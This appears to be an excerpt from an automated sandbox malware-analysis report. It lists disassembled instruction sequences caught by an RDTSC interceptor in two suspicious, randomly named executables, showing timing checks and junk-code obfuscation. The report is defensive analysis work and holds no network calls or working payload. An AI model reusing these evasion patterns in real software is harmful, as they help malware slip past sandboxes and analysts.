Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 50807DF second address: 50807E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 50807E4 second address: 50807F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edi, ax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rep movsb 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx edi, si 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 50807F7 second address: 5080874 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F61453619E6h 0x00000009 sbb cx, B988h 0x0000000e jmp 00007F61453619DBh 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F61453619E8h 0x0000001a and ecx, 2C249BE8h 0x00000020 jmp 00007F61453619DBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000030 jmp 00007F61453619E6h 0x00000035 mov eax, ebx 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a mov cl, A2h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080874 second address: 5080878 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080878 second address: 5080894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov bx, A7EAh 0x0000000a popad 0x0000000b mov ecx, dword ptr [ebp-10h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F61453619DCh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080894 second address: 508089A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 508089A second address: 508091A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], ecx 0x0000000f jmp 00007F61453619E9h 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F61453619E3h 0x0000001e adc ax, B34Eh 0x00000023 jmp 00007F61453619E9h 0x00000028 popfd 0x00000029 pushfd 0x0000002a jmp 00007F61453619E0h 0x0000002f add ch, FFFFFFC8h 0x00000032 jmp 00007F61453619DBh 0x00000037 popfd 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 508091A second address: 5080947 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6144D93AE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6144D93ADDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080947 second address: 50809BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007F61453619DEh 0x0000000f pop ebx 0x00000010 pushad 0x00000011 push ecx 0x00000012 mov bl, B5h 0x00000014 pop esi 0x00000015 pushfd 0x00000016 jmp 00007F61453619DFh 0x0000001b sub ax, 017Eh 0x00000020 jmp 00007F61453619E9h 0x00000025 popfd 0x00000026 popad 0x00000027 leave 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b jmp 00007F61453619E3h 0x00000030 pushad 0x00000031 popad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 50809BB second address: 50804D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movsx ebx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b retn 0008h 0x0000000e cmp dword ptr [ebp-2Ch], 10h 0x00000012 mov eax, dword ptr [ebp-40h] 0x00000015 jnc 00007F6144D93AD5h 0x00000017 push eax 0x00000018 lea edx, dword ptr [ebp-00000590h] 0x0000001e push edx 0x0000001f call esi 0x00000021 push 00000008h 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov dx, cx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080A95 second address: 5080A99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080A99 second address: 5080A9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080A9D second address: 5080AA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: 5080AA3 second address: 5080AD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, eax 0x00000005 movzx esi, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jmp 00007F6144D93AE6h 0x00000011 mov dword ptr [esp], ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov dx, E460h 0x0000001b mov si, di 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: 8EF5E4 second address: 8EF5EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: 8EF5EC second address: 8EF5FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007F6144D93AD8h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: 8EF5FF second address: 8EEEE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov ah, D9h 0x0000000d popad 0x0000000e push dword ptr [ebp+122D0EB9h] 0x00000014 mov dword ptr [ebp+122D2334h], edx 0x0000001a jns 00007F61453619DCh 0x00000020 call dword ptr [ebp+122D24F1h] 0x00000026 pushad 0x00000027 mov dword ptr [ebp+122D24B3h], esi 0x0000002d xor eax, eax 0x0000002f ja 00007F61453619E2h 0x00000035 jnc 00007F61453619DCh 0x0000003b mov edx, dword ptr [esp+28h] 0x0000003f js 00007F61453619DCh 0x00000045 mov dword ptr [ebp+122D2950h], edi 0x0000004b mov dword ptr [ebp+122D2950h], ecx 0x00000051 mov dword ptr [ebp+122D2C8Ch], eax 0x00000057 sub dword ptr [ebp+122D24B3h], ecx 0x0000005d mov esi, 0000003Ch 0x00000062 mov dword ptr [ebp+122D2A2Dh], edi 0x00000068 add esi, dword ptr [esp+24h] 0x0000006c pushad 0x0000006d or dword ptr [ebp+122D2A2Dh], ebx 0x00000073 popad 0x00000074 lodsw 0x00000076 jmp 00007F61453619E6h 0x0000007b add eax, dword ptr [esp+24h] 0x0000007f add dword ptr [ebp+122D2A2Dh], eax 0x00000085 mov ebx, dword ptr [esp+24h] 0x00000089 cld 0x0000008a push eax 0x0000008b push eax 0x0000008c push edx 0x0000008d jmp 00007F61453619DCh 0x00000092 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A59412 second address: A59429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jnl 00007F6144D93ADEh 0x0000000f rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A59429 second address: A59441 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F61453619DEh 0x00000008 push eax 0x00000009 pop eax 0x0000000a jl 00007F61453619D6h 0x00000010 jnp 00007F61453619DCh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A678AA second address: A678C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push ecx 0x00000008 jmp 00007F6144D93AE5h 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A67D3A second address: A67D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A67D3F second address: A67D6D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F6144D93AE9h 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F6144D93ADBh 0x00000014 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A67D6D second address: A67D71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A67D71 second address: A67D77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A6B5E7 second address: A6B5EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A6B5EB second address: 8EEEE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 xor dword ptr [esp], 2D50A466h 0x0000000e mov dword ptr [ebp+122D29FFh], eax 0x00000014 push dword ptr [ebp+122D0EB9h] 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007F6144D93AD8h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 0000001Dh 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 jmp 00007F6144D93ADAh 0x00000039 call dword ptr [ebp+122D24F1h] 0x0000003f pushad 0x00000040 mov dword ptr [ebp+122D24B3h], esi 0x00000046 xor eax, eax 0x00000048 ja 00007F6144D93AE2h 0x0000004e jnc 00007F6144D93ADCh 0x00000054 mov edx, dword ptr [esp+28h] 0x00000058 js 00007F6144D93ADCh 0x0000005e mov dword ptr [ebp+122D2950h], edi 0x00000064 mov dword ptr [ebp+122D2950h], ecx 0x0000006a mov dword ptr [ebp+122D2C8Ch], eax 0x00000070 sub dword ptr [ebp+122D24B3h], ecx 0x00000076 mov esi, 0000003Ch 0x0000007b mov dword ptr [ebp+122D2A2Dh], edi 0x00000081 add esi, dword ptr [esp+24h] 0x00000085 pushad 0x00000086 or dword ptr [ebp+122D2A2Dh], ebx 0x0000008c popad 0x0000008d lodsw 0x0000008f jmp 00007F6144D93AE6h 0x00000094 add eax, dword ptr [esp+24h] 0x00000098 add dword ptr [ebp+122D2A2Dh], eax 0x0000009e mov ebx, dword ptr [esp+24h] 0x000000a2 cld 0x000000a3 push eax 0x000000a4 push eax 0x000000a5 push edx 0x000000a6 jmp 00007F6144D93ADCh 0x000000ab rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A6B7DF second address: A6B7E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A6B7E3 second address: A6B80D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jmp 00007F6144D93AE6h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 push edi 0x00000013 push esi 0x00000014 pop esi 0x00000015 pop edi 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A6BA12 second address: A6BA3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jne 00007F61453619D8h 0x00000012 jmp 00007F61453619DAh 0x00000017 popad 0x00000018 mov eax, dword ptr [eax] 0x0000001a pushad 0x0000001b push edi 0x0000001c pushad 0x0000001d popad 0x0000001e pop edi 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A892A7 second address: A892AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A8951B second address: A8951F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A8951F second address: A89541 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6144D93AD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007F6144D93ADEh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jg 00007F6144D93AD6h 0x0000001a rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A89B54 second address: A89B58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A89B58 second address: A89B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A89B64 second address: A89B6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A89B6A second address: A89B7C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6144D93AD6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A89B7C second address: A89B95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 jmp 00007F61453619E1h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A89B95 second address: A89B9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A89B9A second address: A89BA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A89D36 second address: A89D57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6144D93AE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jc 00007F6144D93AD6h 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A89E98 second address: A89E9E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A89E9E second address: A89EA3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A89EA3 second address: A89EAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A8A30A second address: A8A345 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6144D93AD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F6144D93AE2h 0x00000012 pop eax 0x00000013 jmp 00007F6144D93ADFh 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F6144D93ADAh 0x0000001f rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A8A345 second address: A8A349 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A8FABC second address: A8FAC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F6144D93AD6h 0x0000000c rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A952D6 second address: A952FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A952FB second address: A95305 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6144D93AD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A944C6 second address: A944CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A98F9A second address: A98F9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A98F9E second address: A98FB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F61453619E5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A98FB9 second address: A98FCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6144D93ADBh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A982C3 second address: A982C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A982C9 second address: A982D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F6144D93AD6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A982D4 second address: A982DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A982DA second address: A9830E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6144D93AE5h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jmp 00007F6144D93AE6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A98478 second address: A9847C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9847C second address: A984A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6144D93AE3h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F6144D93ADFh 0x00000014 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A984A8 second address: A984B2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F61453619D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A984B2 second address: A984D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a jmp 00007F6144D93AE1h 0x0000000f jl 00007F6144D93AD6h 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A984D8 second address: A984EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A984EB second address: A98501 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6144D93ADCh 0x00000009 jg 00007F6144D93AD6h 0x0000000f rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A986D3 second address: A986D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A986D8 second address: A986E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A986E0 second address: A986E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A986E9 second address: A986ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A986ED second address: A986F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A98B4A second address: A98B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A98B4F second address: A98B5B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F61453619DEh 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A98CC8 second address: A98CE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F6144D93AD8h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jc 00007F6144D93AD6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A98CE1 second address: A98CE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A98CE7 second address: A98CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A98E19 second address: A98E26 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F61453619D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9A381 second address: A9A39F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6144D93ADFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F6144D93AD6h 0x00000014 rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9A39F second address: A9A3A9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F61453619D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9A3A9 second address: A9A3B3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6144D93ADCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	RDTSC instruction interceptor: First address: A9A3B3 second address: A9A3C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push ecx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
